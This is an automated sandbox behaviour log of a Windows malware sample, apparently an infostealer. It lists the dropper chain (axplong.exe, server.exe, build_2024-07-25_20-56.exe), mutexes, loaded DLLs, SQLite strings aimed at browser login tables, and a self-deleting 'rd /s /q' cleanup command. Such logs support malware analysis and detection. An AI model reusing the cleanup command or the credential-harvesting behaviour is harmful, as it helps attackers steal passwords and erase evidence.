Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_00411400 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,FindCloseChangeNotification, 10_2_00411400
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_00410900 CoInitializeEx,CoInitializeSecurity,CoCreateInstance,CoSetProxyBlanket,VariantInit,VariantClear, 10_2_00410900
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\server[1].exe Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7040:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2260
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Mutant created: \Sessions\1\BaseNamedObjects\a091ec0a6e22276a96a99c1d34ef679c
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe File created: C:\Users\user\AppData\Local\Temp\44111dbc49 Jump to behavior
Source: C:\ProgramData\CFHIIJDBKE.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\ProgramData\CFHIIJDBKE.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\ProgramData\CFHIIJDBKE.exe Key opened: HKEY_USERS.DEFAULT\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\ProgramData\CFHIIJDBKE.exe Key opened: HKEY_USERS.DEFAULT\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3417674083.00000000359D7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.10.dr Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3373250365.000000001B8E1000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3483048029.000000006C49F000.00000002.00000001.01000000.0000000B.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3366366863.0000000019368000.00000002.00001000.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3430283390.00000000418B3000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3417674083.00000000359D7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.10.dr Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3373250365.000000001B8E1000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3483048029.000000006C49F000.00000002.00000001.01000000.0000000B.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3366366863.0000000019368000.00000002.00001000.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3430283390.00000000418B3000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3373250365.000000001B8E1000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3483048029.000000006C49F000.00000002.00000001.01000000.0000000B.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3366366863.0000000019368000.00000002.00001000.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3430283390.00000000418B3000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3417674083.00000000359D7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.10.dr Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3373250365.000000001B8E1000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3483048029.000000006C49F000.00000002.00000001.01000000.0000000B.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3366366863.0000000019368000.00000002.00001000.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3430283390.00000000418B3000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3417674083.00000000359D7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.10.dr Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3373250365.000000001B8E1000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3366366863.0000000019368000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3417674083.00000000359D7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.10.dr Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3417674083.00000000359D7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.10.dr Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3373250365.000000001B8E1000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3366366863.0000000019368000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3417674083.00000000359D7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.10.dr Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: build_2024-07-25_20-56.exe, build_2024-07-25_20-56.exe, 0000000A.00000002.3373250365.000000001B8E1000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3483048029.000000006C49F000.00000002.00000001.01000000.0000000B.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3366366863.0000000019368000.00000002.00001000.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3430283390.00000000418B3000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3373250365.000000001B8E1000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3483048029.000000006C49F000.00000002.00000001.01000000.0000000B.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3366366863.0000000019368000.00000002.00001000.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3430283390.00000000418B3000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3417674083.00000000359D7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.10.dr Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3373250365.000000001B8E1000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3366366863.0000000019368000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2958774188.0000000019083000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2958774188.0000000019086000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2975024579.000000001907F000.00000004.00000020.00020000.00000000.sdmp, FBGHII.10.dr, HJDBAF.10.dr Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3417674083.00000000359D7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.10.dr Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3373250365.000000001B8E1000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3366366863.0000000019368000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3373250365.000000001B8E1000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3366366863.0000000019368000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3417674083.00000000359D7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.10.dr Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;
Source: IRqsWvBBMc.exe Virustotal: Detection: 54%
Source: IRqsWvBBMc.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe File read: C:\Users\user\Desktop\IRqsWvBBMc.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\IRqsWvBBMc.exe "C:\Users\user\Desktop\IRqsWvBBMc.exe"
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1000019001\server.exe "C:\Users\user\AppData\Local\Temp\1000019001\server.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe "C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe"
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Process created: C:\ProgramData\CFHIIJDBKE.exe "C:\ProgramData\CFHIIJDBKE.exe"
Source: unknown Process created: C:\ProgramData\CFHIIJDBKE.exe C:\ProgramData\CFHIIJDBKE.exe
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\KFCFBFHIEBKJ" & exit
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2260 -s 3000
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1000019001\server.exe "C:\Users\user\AppData\Local\Temp\1000019001\server.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process created: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe "C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Process created: C:\ProgramData\CFHIIJDBKE.exe "C:\ProgramData\CFHIIJDBKE.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\KFCFBFHIEBKJ" & exit Jump to behavior
Source: C:\ProgramData\CFHIIJDBKE.exe Process created: C:\ProgramData\CFHIIJDBKE.exe C:\ProgramData\CFHIIJDBKE.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: mstask.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: dui70.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: duser.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: chartv.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: atlthunk.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: windows.fileexplorer.common.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: explorerframe.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: msimg32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: msvcr100.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: dbghelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Section loaded: cryptsp.dll Jump to behavior
